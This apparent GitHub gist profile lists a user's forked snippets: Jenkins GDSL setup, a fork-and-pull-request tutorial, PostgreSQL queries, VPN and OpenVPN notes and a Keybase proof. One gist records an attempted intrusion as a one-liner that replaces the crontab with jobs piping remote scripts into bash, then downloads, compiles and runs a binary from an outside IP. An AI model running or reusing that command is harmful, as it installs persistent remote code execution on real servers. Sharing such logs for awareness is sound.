Skip to content

Instantly share code, notes, and snippets.

View DavidPesticcio's full-sized avatar
🚀
¯\_(ツ)_/¯

David Pesticcio DavidPesticcio

🚀
¯\_(ツ)_/¯
View GitHub Profile
@DavidPesticcio
DavidPesticcio / pipeline.gdsl
Created March 22, 2018 23:33 — forked from ggarcia24/pipeline.gdsl
GDSL supporting pipeline declarative
//The global script scope
def ctx = context(scope: scriptScope())
//What things can be on the script scope
contributor(ctx) {
method(name: 'pipeline', type: 'Object', params: [body: Closure])
property(name: 'params', type: 'org.jenkinsci.plugins.workflow.cps.ParamsVariable')
property(name: 'env', type: 'org.jenkinsci.plugins.workflow.cps.EnvActionImpl.Binder')
property(name: 'currentBuild', type: 'org.jenkinsci.plugins.workflow.cps.RunWrapperBinder')
property(name: 'scm', type: 'org.jenkinsci.plugins.workflow.multibranch.SCMVar')
1. Setup a project
2. Add groovy SDK support:
https://www.bonusbits.com/wiki/HowTo:Add_Groovy_SDK_to_IntelliJ_IDEA
3. Download http://(yourjenkinsurl)/job/(yourpipelinejob)/pipeline-syntax/gdsl
- this will give you the .gdsl file - download this to the src folder of your project.
4. Finally follow this step - right click on the src folder -> Mark directory as -> Sources Root
@DavidPesticcio
DavidPesticcio / GitHub-Forking.md
Created February 2, 2018 17:20 — forked from Chaser324/GitHub-Forking.md
GitHub Standard Fork & Pull Request Workflow

Whether you're trying to give back to the open source community or collaborating on your own projects, knowing how to properly fork and generate pull requests is essential. Unfortunately, it's quite easy to make mistakes or not know what you should do when you're initially learning the process. I know that I certainly had considerable initial trouble with it, and I found a lot of the information on GitHub and around the internet to be rather piecemeal and incomplete - part of the process described here, another there, common hangups in a different place, and so on.

In an attempt to coallate this information for myself and others, this short tutorial is what I've found to be fairly standard procedure for creating a fork, doing your work, issuing a pull request, and merging that pull request back into the original project.

Creating a Fork

Just head over to the GitHub page and click the "Fork" button. It's just that simple. Once you've done that, you can use your favorite git client to clone your repo or j

Keybase proof

I hereby claim:

To claim this, I am signing this object:

Keybase proof

I hereby claim:

  • I am davidpesticcio on github.
  • I am davidpesticcio (https://keybase.io/davidpesticcio) on keybase.
  • I have a public key ASAuypbBI405noHSinwrSwsArWpI80vH5DEVGJj8-8jk3wo

To claim this, I am signing this object:

@DavidPesticcio
DavidPesticcio / gist:7856bcf78b85ecdfcceb5085ddc1e0bd
Created September 28, 2017 19:38
MTU issues in VPN connections
https://community.spiceworks.com/topic/217130-mtu-issues-in-vpn-connections
Question:
Hello,
I often set up vpn tunnels on different network devices(cisco, juniper) and one day I read an info about MTU:
because of perfomance issues its better practise to reduce MTU size on tunnel interfaces/egress interfaces of routers.
How this is affect perfomance?
@DavidPesticcio
DavidPesticcio / postgres_queries_and_commands.sql
Created September 22, 2017 12:02 — forked from rgreenjr/postgres_queries_and_commands.sql
Useful PostgreSQL Queries and Commands
-- show running queries (pre 9.2)
SELECT procpid, age(query_start, clock_timestamp()), usename, current_query
FROM pg_stat_activity
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
-- show running queries (9.2)
SELECT pid, age(query_start, clock_timestamp()), usename, query
FROM pg_stat_activity
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%'
@DavidPesticcio
DavidPesticcio / gist:4183e951df084992bffa1421db442ab3
Created February 20, 2017 19:53 — forked from wikimatze/gist:9790374
Github Two-Factor Authentication Failed For HTTPS

I heard from GitHub Two-Factor Authentication](https://github.com/blog/1614-two-factor-authentication) nearly a couple of days ago when I was reading my RSS feed. I enabled it and couldn' push to any of my repositories anymore. Learn in this blog post how to fix it.

Two-Factor Authentication

"Is a process involving two stages to verify the identity of an entity trying to access services in a computer or in a network". Github solves this authentication with sending an SMS to a device which wants to push to their platform.

Enabling Two-Factor Authentication

@DavidPesticcio
DavidPesticcio / gist:0b4c1ba71e57ea769c99e8f24d4f1126
Created February 11, 2017 02:23 — forked from ismasan/gist:5647955
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
RaspberryPi OpenVPN Tutorial by [http://readwrite.com/author/lauren-orsini/]
----------------------------
* http://readwrite.com/2014/04/10/raspberry-pi-vpn-tutorial-server-secure-web-browsing/
* http://readwrite.com/2014/04/11/building-a-raspberry-pi-vpn-part-two-creating-an-encrypted-client-side
These instructions should also be suitable for any recent OpenVPN installation, on any Linux disto - modify accordingly.
NOTE: Copy'n'paste anything between quotes below - but not the quotes, and only if it is preceeded by the word run!
I've assumed you are logged in to your RaspberryPi as the pi user.
Instructions where brackets [like-this] are used means, choose your own value.